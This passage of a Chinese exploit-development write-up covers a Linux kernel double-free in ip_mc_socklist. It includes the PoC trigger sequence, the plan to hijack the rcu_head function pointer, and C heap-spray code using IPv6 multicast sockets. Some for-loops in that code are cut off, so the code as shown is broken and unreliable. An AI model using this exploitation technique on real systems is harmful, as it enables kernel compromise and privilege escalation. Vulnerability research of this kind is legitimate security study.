0x02 PoC
我们直接在github上找到了一个可以运行的PoC(PoC Download)
编译如下:
gcc -static cve.cpp -o PoC -lpthread
PoC的大致流程如下:
sockfd = socket(AF_INET, xx, IPPROTO_TCP);
setsockopt(sockfd, SOL_IP, MCAST_JOIN_GROUP, xxxx, xxxx);
bind(sockfd, xxxx, xxxx);
listen(sockfd, xxxx);
newsockfd = accept(sockfd, xxxx, xxxx);
close(newsockfd) // first free (kfree_rcu)
sleep(5) // wait rcu free(real free)
close(sockfd) // double free
我们首先创建一个服务端socket,并通过setsockopt设置MCAST_JOIN_GROUP选项,主要是让内核创建ip_mc_socklist对象。然后我们通过accept创建另外一个socket,使得newsockfd在内核中的mc_list指针指向同一个ip_mc_socklist对象。最后我们通过关闭sockfd和newsockfd去触发内核释放mc_list指向的同一对象,导致double free。
0x03 exploit
我们在网上暂时还没有搜到可用的exploit,只有一些文章[1][2]讲解漏洞利用的思路。double free类型漏洞的一般利用思路是在第一次free后通过伪造数据去堆喷占位,控制第二次free时的数据,从而劫持内核的执行流程。
我们再看看double free的对象ip_mc_socklist:
struct ip_mc_socklist {
struct ip_mc_socklist __rcu *next_rcu;
struct ip_mreqn multi;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip_sf_socklist __rcu *sflist;
struct rcu_head rcu;
};
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
}
#define rcu_head callback_head
我们可以看到ip_mc_socklist对象中包含一个rcu_head对象,而该对象正好包含一个函数指针。ip_mc_socklist对象的释放涉及的linux的RCU机制,比较复杂,我们暂时只需要知道ip_mc_socklist对象真正释放的处理函数是__rcu_reclaim:
static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head)
{
unsigned long offset = (unsigned long)head->func;
rcu_lock_acquire(&rcu_callback_map);
if (__is_kfree_rcu_offset(offset)) {
RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));
kfree((void *)head - offset);
rcu_lock_release(&rcu_callback_map);
return true;
} else {
RCU_TRACE(trace_rcu_invoke_callback(rn, head));
head->func(head);
rcu_lock_release(&rcu_callback_map);
return false;
}
}
刚好在__rcu_reclaim函数中存在一个分支去执行rcu_head对象中的函数指针:
head->func(head)
因此,我们只需要劫持rcu_head对象即可劫持内核的执行。接下来,我们通过gdb调试一步步来实现我们的exploit。
1)内核堆喷
为了能够劫持ip_mc_socklist内核对象,我们必须要能够在第一次free后通过堆喷占位,用我们伪造的数据填充已经free掉的ip_mc_socklist内核对象。ip_mc_socklist对象在x86_64系统中大小为48字节,内核会通过kmalloc分配64字节的堆块,因此我们需要找到在内核中稳定分配64字节大小,并且能够控制分配内容的方法。我们试了sendmmsg方法,但是并未成功。通过内核堆喷ipv6_mc_socklist结构体倒是成功了,但是通过gdb查看分配的对象大小却是72字节。我们直接通过源码计算ipv6_mc_socklist结构体的大小只有64字节,多出来的8个字节怎么出来的呢?
struct ipv6_mc_socklist {
struct in6_addr addr;
int ifindex;
struct ipv6_mc_socklist __rcu *next;
rwlock_t sflock;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip6_sf_socklist *sflist;
struct rcu_head rcu;
};
最后通过gdb调试我们才知道是因为内存对齐的原因。ipv6_mc_socklist结构体中既有8字节的成员变量,也有4字节的成员变量,因此ipv6_mc_socklist对齐到8字节,导致ipv6_mc_socklist对象的内存大小多出来8个字节。我们想到一个简单的方法,就是patch kernel, 修改ipv6_mc_socklist结构体定义,将两个4字节成员变量放在一起:
struct ipv6_mc_socklist {
struct in6_addr addr;
int ifindex;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ipv6_mc_socklist __rcu *next;
rwlock_t sflock;
struct ip6_sf_socklist *sflist;
struct rcu_head rcu;
};
修改后重新编译内核运行,成功实现了内核64字节堆喷。我们可以通过gdb查看堆喷结果。
两次free的对象地址都是0xffff8800065ca0c0,说明是同一对象。同时,第二次free之前,我们成功通过堆喷,将之前free的对象填充为可控内容。堆喷的代码如下:
#define SPRAY_SIZE 5000
int sockfd[SPRAY_SIZE];
void spray_init() {
for(int i=0; i
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0))
perror("Socket");
exit(errno);
}
}
}
void heap_spray() {
struct sockaddr_in6 my_addr, their_addr;
unsigned int myport = 8000;
bzero(&my_addr, sizeof(my_addr));
my_addr.sin6_family = AF_INET6;
my_addr.sin6_port = htons(myport);
my_addr.sin6_addr = in6addr_any;
int opt =1;
struct group_req group1 = {0};
struct sockaddr_in6 *psin1;
psin1 = (struct sockaddr_in6 *)&group1.gr_group;
psin1->sin6_family = AF_INET6;
psin1->sin6_port = 1234;
inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));
for(int j=0; j
setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
}
}
我们将堆喷对象ipv6_mc_socklist的adrr设置为"ff02:abcd:0:0:0:0:0:1",即可将堆喷对象的前8个字节设置为0x00000000cdab02ff,而这8个字节正好是double free对象ip_mc_socklist的next_rcu成员。因此,我们通过堆喷ipv6_mc_socklist对象来劫持ip_mc_socklist对象的释放。